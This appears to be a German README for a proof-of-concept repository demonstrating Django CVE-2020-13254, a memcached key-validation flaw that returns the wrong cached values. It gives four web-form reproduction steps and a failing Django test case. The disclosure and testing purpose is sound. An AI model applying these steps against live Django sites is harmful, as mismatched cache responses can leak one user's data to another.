Django CVE-2020-13254

Dieses Repository zeigt die Ausnutzung von CVE-2020-13254 auf zwei Arten – über eine Weboberfläche und über einen fehlschlagenden Testfall.

Weitere Details finden Sie unter:

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

Ausnutzung über das Web

Das Beispiel bietet eine Weboberfläche mit 2 Formularen, eines, das Werte im Cache setzt, und das andere, das sie abruft. Diese werden direkt in Aufrufe des Django-Cache-Backends übersetzt. Da die Codebasis kein Sitzungs- oder Authentifizierungssystem implementiert, sind mehrere Verwendungen im selben Browser-Tab nicht von mehreren Benutzern auf verschiedenen Maschinen unterscheidbar.

Zur Ausnutzung:

1. Setzen Sie Schlüssel A und B auf die Werte a und b.
2. Versuchen Sie, C D auf den Wert c d zu setzen. Dies wird einen Fehler verursachen.
3. Versuchen Sie, Schlüssel A abzurufen – fälschlicherweise wird kein Ergebnis zurückgegeben.
4. Versuchen Sie, Schlüssel B abzurufen – fälschlicherweise wird a zurückgegeben.

Demo über Tests

Dieser Vorgang kann als Testfall wie folgt dargestellt werden:

from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )